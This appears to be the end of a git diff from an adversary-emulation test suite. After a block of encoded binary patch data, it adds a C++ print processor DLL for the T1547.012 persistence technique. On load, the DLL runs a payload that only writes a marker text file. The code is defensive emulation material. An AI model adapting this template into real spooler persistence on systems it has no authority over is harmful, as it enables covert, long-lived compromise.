zCa*hy?whrC%7+{*FzLhLw<+yv;P?S@^lyQQ+n7K)A4AIiK?IF!8MKwD?siB6tG%ZE zNnW=aFhRWI4#UFPF@6b5c9zh-;ihfzHQ0%b+oFMLoV1mr5XSG01x^i&!)tx&^}b(* zelsQe;qh_FwNs%vfJJV_h#(HXyKR%;3~N?Mq8u(@O{zu$+k=i)*SwIoy({FKkVl}p zl`!rg&d6Bvu|Fld%7N+*?n-@wpn$VkVPGE%kPi}&gI_r3r*V#=(LuZ_$DMD^9px28 zv;kXM*JEai)0OSsRGd%C{KcxF@MjbDWFAev-zS80^iYBKiHw6d1|3S94K)Feb7H^hGL^vTjO%I$Ms2mfO<~U}&nG^7G^w?4ZdlkB%YV)4=6I8tmFr?$R zJ5e>1gDk!q0H6YmY;y&YgN`Exv+>LIuL9C+GfwrAjTopyqi;K&c~0{ESF&JUn{>X+ z!z+hmj@VNi@+&*q7X{vrT%#s z0B=4@$gdIMjYtW1Nw`x&z5$CjC?$MS!YvZ6matI5$0VE};baN3B%C2(j)b!%bV)d0 z!bK7;mhcV<4@>BluvEed2|W^WH8_;cz3ossw?0GZ++`1?b7vXvflA0dwNN@Y(eSRQ zgxnv)JERhF4LOv~rRGpNms0W0sf1jn!n>#vva{mdYzb*PLg^f5Lh1D7@HQ(#u5U#h zZ~P3NyRR?J_f6p%MqD-CJhRE~4%bxMcExKr#D>VTj7Sdm__2DyUW~O23<|i(XZrA} zHW$cnM2Rc+c-_V>w_{V~c66=Wj?k&#uT`R8qvH^dmoz#K(9>>oG+-``TYZf{zQA`$ z8Xa|s0=dg3kULWZa)%v|$v?P_=Ouk@Q>71e*1W@lc->+n&ce3b%4M*3Sr{q!)^~l& zEOeQ4A~iuKz>BDPhlr8#FhTfIdd<7611XO%1+O)9rn5FAJj8?qt|a{j*sTAHb~Z+H zi~}(a#5fS+K#T)14#YSR<3Nl9F%HBy5aU3M12GQ7I1uANi~}dbfuM6&^Mc{Vm&P`3 z49p*C3rBz~h^i$?Ha73D@^+ zK7N8ae0$shd_43p7QsZY+NM(9B=?z^*t|EbdkaAv8N3-;b)!g$y)R0X zfGqq@QpIm(@%kH4{GD^Uvjx>R7n$jn!baUASU8EodeQ`n)^-qk}9 z3q0W1yxoL9MzLiN2;NWlt4PwYzTq{a{e;)0{id`nO$f@*STZL^$ zp5pQ{1AHUk-osBgn{cgo9%Ff4Qc!3wsH`klV=pUOWiKr%Tkdh2H5HewEGR8z{&Me% zqB0ND)2meO^ht|dmF3GT3s%@?7MB)P*+;FOaLuKQoyAKl%d5(ldF%^{tGorJ_IVy} zVR8B5@#C(XxOjT`iWT0nV$Yhz3#KogUtV5Xwb(fi(JQYSJAUHWjB!_HWGpT&TUzQZ zELyyJMbV1#$~7h_-R{%1N!nt~rB!O>+H!;i+6v9C&D4suQmsg_X&&S+Kw6dNMafb;%|n`3D@0m3;Kys@v@5lVh)u`y3jFhGWyterYml}8 zsf)Gw$SFtJD#V>AuTrnnuF}S${6vHqf+Yj@#VA__3QDDpB0R4K&LUjppsM#)c58Mx zp$fDVf(Mhdd@UQX5@2RpK5!PGF4eA5;Lg`pqNb(DV_o^u-eT~q45@`-d}ib#p>(AI zRS3=$pwx2UBfVw7a*+ut_bN|iaoKXar@Y)=T3)tX(q>PKPuT;#G_i11w2ck^H!Xbk>VDu9%H0?rFYonN%bicB421J02U8& zBPFlX#-L28)IeJksg>5G6g_Pz@>Gwrma=QtNuOPY7M4qI8bFf-IQvRh3H@uUra4f?;84rDyT-VvpOqWO0?JRI*CT(fx|Xja^z% z!SdF>?XWjz!KRpLGNzTXK%_~-uZ&L_H9kINZAN^`lemuK8jjyfiZcrFZoTGt3YOl9 zk+0laR%rLQi|i{4DvJx2lor`9(JryCDyXtAEw8NfR(OgE#}dW-Xb`{@SJ{^o(KdRk zU^G^tHRWE9kyMOPuoz?O-9~AHh(2x#f2p^~UcSuknCB7_%E~?VipuheqRLWOqk@&F zr-0*cmA$~e%v-jU%@?aR)^4Bg20{4m<**F!0()gqmABMGd^BvN)KaRjXlZFdr9n7M zUQrlmX?fX7I0Hn@Mp+A0lo#XE*_HO_!Ugui;$_QVM?Nty` zX`y{ZLDiii^{R4jG%vgI;z5^s575oj^#S_8(Gmf9)Z0x)hV znhBu0AUF6ewqSMdasDH|+>%0#*ZSt-n3QiK5% zP4O7q4QqL%Fe-|w!{}o95FwEER;6b8w{yLa*NP(hbaxT@r=zm6yfO;+TzD$C(Micc}ywLHKUXiLP3+QnYmVfE-2Rv@iF?C4y0deZ^x z1fDAVD}Xmt1Pp!uDLO7k*`6qw2`uzfy`ZHCxG&by#fo2!cslBc{xjQ7N4u~L0eW_^b~&s=6~a|g z%jK{SvTMV&MjJgQ$8=^m$Q!Vt7-MwN)r2=OZ*KabOj7YNN^KD?`;2(aJ|T`EnwiJn4ok(g8hNXYycY;? zl7IXilW@^3mN*kt)#2>VIwHT!{aGW8;frw~#(|UOz>y{KDO<2^Wko=Hw981V$Njhw zC#-2A@cuu)_^V~%vX&pQG=j?tW5aqD;jMqfHNr?Y>tH_Dy72W~tq`~-cPYo;sc{); zrMPdzbqrTqR(wh-)_;*Le=JKJ{Ik+w#kT`62?`_%W|x8A$dVgz9Wc^+s4%KFS)MqobXv<>=_DL^l7-7kr-_Gj@Xv&?;!!y&e4qfnqD9V3C4GfP zTB&g-oGKAbU)QoGj2rOVjk0DMdG~^mb^v!1H(`6~2VKjXcqRZo5$ibSGw;-a;YQjh z+^zTtZ|ahjw_S0V_;v!munT^cUu~qV!`-BvuszYDDdOT5dwB#x~pTp|@+jF1=g;zCJ@1u+iv%z>GfeW#uwVyQ6>{AX~W zuFJmce@3fgt?Y>d{Jq?s(#)u2yJbjMDXtD2d}gx6oEh14}6x{0Ng#3RNF~E{S)4k@Xh^1uIMl~0^^S>ipxPk%Npr5qPw&HOqGzGW}Or37&?pMMEF8-%}+ zt_Tmh%E82Q)Pm=&192&T!Nsz%zyCcPfQUrLX3UKjJI3EY=4HdP9oGb0YtM+&u1$;6 z{*fA|O+x%@XUA#!nQ_`eI(h8M+z}YVjTG2$APbbq-W0g*^D{wXZ@7a(N=J5>UuHHOk?~%{cplJH8zf&n!Nz$ z-}2>5cRtQ^=c_Z_Syi6GtgHx^y210PMHe6|O!!=RA26(UDb5&l0f|)l9~!graq7q= z1y#jM^OxZ)&l2yltQmPzNAiSNzNfOF*i)4?Lou&M7WRY(=QnYv`NS~wgr|I&!gL}8 z^@!)h(P%y4DJ};u2FM$0d6dfshl{KXwB}D8nLn$%YDrd(6##l^h2goF{Nl1@<<<`K zAF8|m?q<*YQoObpR|T&7ac#!+16(iT(s6a-N?9MTjlne&*J4~NaXo zalMJF6;~&&A%6OZC;wOZg?Mcju6A4#?upm##`OZOPjF4E2CcXnaM|vS*K%+@it9~W z_WR$r~K8d4Lld2syzS1Yc`_s47Z;;P5>KCa7r@mdM4zuq0M z?Zj1r>oQz#t%=vZg=-nE8MsE`It7=GUnKt~t_8SutOS1CUs@HfeHqv7xTfK<rq_maIM5uifak3MYv|;nuhB*>YIf7XZdIMMDQ&JzcyEZkKRby z3!oK0U#-4z({sZ+=0;}q&g$gIeU?7+6%zl%?Pb9Vk5RB>(G)Tz^o3$u8fzSJlVx@NKV-^WeO z#{$Rl(()zhygdM{aMQD0*$YT_@rsJ9E5~QC%(vsG7L=|kSW}f>R?c@nviP>b(v=>I zo0U7wAysSfiBpTqvf$AwkgORq^75TasysN=>B-7cO$BgHcD6MgEx$558=)(EMg}6; zWQ3NPI2C;OY>-_+u2s2iH0(f+E*$nu1#%SsEDS9Q5gNbdJkEG-M#Hm#k zUeAf6%68;X!J1Whs_Ti7LN-EK6({o&rWP&1t70dLW!5wY^qlQ@6+Ef%RGu_~n-Zs1 ze46r$(1K4zfL8VY+Ibr2s){q`B`+Gv&w|7nN?Jn?G&vG*=H5H^Z)WZgfsmAd35Jj^ zxQ|EjlDs8(33*9KRuHIAQLH8+!b0j2Wf#S;5=9p*BCvR*HCpIWffg)SRJuh37b+^y z{qB89fYvTX&YnGu&4bwAP?8WjVa)P z@*>xR#ho66>%-zAP$CDCNP0{LkSSNIE?mcWu-qV4d70T56IZq-Cdh^;*sUI$ibkMV(J#KPql!0u#)AtgJ~71-xNtQ)R!1slS@aoMiJLq|X#%d6&A1|y90w83U-#G%sRqhkt{fqVzsH0I+)d;&Yfw2t@1?4qWbH`sUN;43ihvqCO z923e8MoJ)WTSX|_od;q7s4vqAulpNppc7u8BJ5TWNrC?2x*9i`{PJ4Rx4)FPJbCeK#%uax&Z7l|ZO0 zK2R6A;ywvDSyMZ1R@oFdQe9Jv?f|$op-`Y?RvA*`0&ezwRk3&XI)V+LiVE0vDo3CC zV;uWU3I0c!zif!A38gg)rH3(Tnt1NFQ{^mAy9UFEoZ20aQuLic#@ zItaW5Zi4)PE`_T)#V}AGt#*$bltO1|f=iTe1g1bgiw}T_m>sGP)|R{D-h=ySHJn7~ zY*>&mw>a7fzYf;r?t7GYx}6#a0zEdSCZK^J7C9vdEsM{IdI#XkLN$4Ao;H+piuk7l z!%@gU?JgU2A$}5+g$Uo#SQ{#+niehzL8*coG~kA=%Yv%ze)LMh)JROHO1dF{1_25P z%}=;1RQp%EhhDM5&g1#0C83}T_pT=ND6F~r_SPN3nwe}*vmqMEts)4ElU`vZb zV>-e6#2}ktL*L-s)~1G&6ptFl?yVF?P}6N@A=wbO>JFu z4r~WaL-X90n4#!01}NmV<-)e7SBwCm{CF5#?WL}xsor%KC<|oCxX*Q>;y!`UI|+qh zfE}#x&_L)ppZjE|K|wEeJ>Qwd4sq!CDU-+Ns*1=o8dl&n^L;)X42FUQc@ahTNv%YW+{tMdsKyq|8^i{XV zq2{Xx_1=8}1-NXegi2meEfWd_i8L}Ar=^A>uzv?NfkfKWf~-+yS}J@vjFbeSzGq0J zHHM;T(&_&V9*jmqm9wCd8~}(!MOs}=#Eur1hoBDHC@8lXD+4C&M9*?r`UV z(;@-x7@ucQzK18^BK$tSktCB<JCV&`Cs`?fkUzmU@qg!U@%=nmG>DC2x40k@og^pK zIp)lfFUiC5v^#&E4=r|Cif_R`!fp8H_#J!_r;}{*G|5sbl!XdWcdGeXyEcd}qR#{7 zck4TKVl*3Tj5cGCImeuDK5QN{KQiZ73#_+c6$5QyhXMO``+e4rr}EMKZhnk^#%~u- zh-XEdg8}zeXP7LM^JJ6U>aJm?4=O&v+bRi=oupoAQ8pVg!z7GFSDCq)-`rEYiAi;=a2Foyn_?bD!${4 zbap#KWkj~fr{!jes(ol4%m+n3Ni#V^@|AXFka|h&t9@Vlv9?1yr2SU=R7zm~7Ht?^N)OYZeoQ~F zU)1{;gN)k^&9Dq<>@!Srm3hK+tcljE)=BHURb+3o3)wu@#NKB+fzwIiHsOd_Vwh9w zeCVXebg9WPGFPG|AJlk;8pAjr&&CVzb{tRElV)X+hx1VFVeL8Xl7=a#Z_(e-A^H-1 zv%Uj(e6PpfV`jFs$4a&f?FIJZ_P@ZKd+qn_MXV2B$tR1Y;xVySw23VsU#FbUoxXCI zq;jHsL!Osttq&cCdHr}1UXL%~zGMQaChN!{a;ws)tW)+YN0pOGyZW~JsXAR-p>=3W z=|P&IuhLKG(#SEw#y!SDW2Ld(IBA?Wip-VfPt2#xXUyl!!4|jfvF@{)ty3Tk%znv! z%|2(}%H{$G?qd(IM}QA&SSwr4HnJDkR`x1;jlIG4u>gD!6++err*qvR-4l(&`NC?6_u>L7K9%GK%W zH?^VKDA4XgnyBBRQ+6j@@W_=UK| zkxr?M$_4Tnxk;iOKBPes!gl-yK7jj>sbm&eO`avcAb%pCDgD(EYCtVlYt;qn5_Or{ zq^?lEqm9tUXb);nfW)8B`p_2oEj_9~s<(oEpV7H-mk}|R7*8258%K;&#^dH1bEA3C zw5{)3v#sUUW^0hW(r&fe>=*1K_J{U=*`L~fvJ+Teb`u-IQdt@s%_!q+9Lr?|Y$gk{ z2&-lHvZZV_Yh&Bl>rC*8JfBYk>rl+YyqeGD_X3q4;>-DJ{v_YPpXaaeU3?G!B|ps1 zfG$lE(?w8}iAoU_jbfp=Upy>Uh!*jb*dU%4FN;!CLgtf6Af@*y zDe6C{!?oMAbJ|UG2)&I`I)(m#{ynXu|3y3MBc9rjfF75hE=6Z>WM7W)8X@kahFK8$B@l{wWaU(Qnp= z>cjLjeUz^1mM-=2`b2$;j!ygBm>OMT258~^K#33d0Fft3#VT#TPUIJd~Z z1CGLj5QV$>uE*W$R5<<@St2XyEtJI+pkpFGXZvh(Z$ zL)_03c|SgoC-G#S0(`)3)lVGf)wa^G3BGv-o{39vIj+FTMv5`qNH;PJ47PbO_#MO^ zb5=QR&Sqzev%@*)90%{7BvasAlP0reo-B|>a)z8KE97GEc~8q7a*yngd*y!c!e=Ga zibDHgx_&qbC*u@69CMrvvo+v_crktmufy9wE;~RjPvbg gs+v}yHE3vUjE@NWUH13>^irUg0=*RYKcT>X1G}dxw*UYD literal 0 HcmV?d00001 diff --git a/atomics/T1547.012/src/dllmain.cpp b/atomics/T1547.012/src/dllmain.cpp new file mode 100644 index 00000000..515a143c --- /dev/null +++ b/atomics/T1547.012/src/dllmain.cpp @@ -0,0 +1,70 @@ +#include "pch.h" +#include +#include +#include + +#define DllExport __declspec(dllexport) + +extern "C" __declspec(dllexport) void PayloadFunction() +{ + std::ofstream outfile("C:\\Users\\Public\\AtomicTest.txt"); + outfile << "AtomicRedTeam test for T1547.012" << std::endl; + outfile.close(); +} + +extern "C" DllExport BOOL ClosePrintProcessor(HANDLE hPrintProcessor) +{ + return 1; +} + +extern "C" DllExport BOOL ControlPrintProcessor(HANDLE hPrintProcessor, DWORD Command) +{ + return 1; +} + +BOOL EnumPrintProcessorDatatypesW(LPWSTR pName, LPWSTR pPrintProcessorName, DWORD Level, LPBYTE pDatatypes, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned) +{ + // executes when DLL is loaded + return 1; +} + +extern "C" DllExport DWORD GetPrintProcessorCapabilities(LPTSTR pValueName, DWORD dwAttributes, LPBYTE pData, DWORD nSize, LPDWORD pcbNeeded) +{ + return 0; +} + +typedef struct _PRINTPROCESSOROPENDATA { + PDEVMODE pDevMode; + LPWSTR pDatatype; + LPWSTR pParameters; + LPWSTR pDocumentName; + DWORD JobId; + LPWSTR pOutputFile; + LPWSTR pPrinterName; +} PRINTPROCESSOROPENDATA, * PPRINTPROCESSOROPENDATA, * LPPRINTPROCESSOROPENDATA; + +extern "C" DllExport HANDLE OpenPrintProcessor(LPWSTR pPrinterName, PPRINTPROCESSOROPENDATA pPrintProcessorOpenData) +{ + return (HANDLE)11; +} + +extern "C" DllExport BOOL PrintDocumentOnPrintProcessor(HANDLE hPrintProcessor, LPWSTR pDocumentName) +{ + return 1; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) +{ + switch (fdwReason) + { + case DLL_PROCESS_ATTACH: + PayloadFunction(); + break; + case DLL_THREAD_ATTACH: + case DLL_PROCESS_DETACH: + case DLL_THREAD_DETACH: + break; + } + + return 1; +} \ No newline at end of file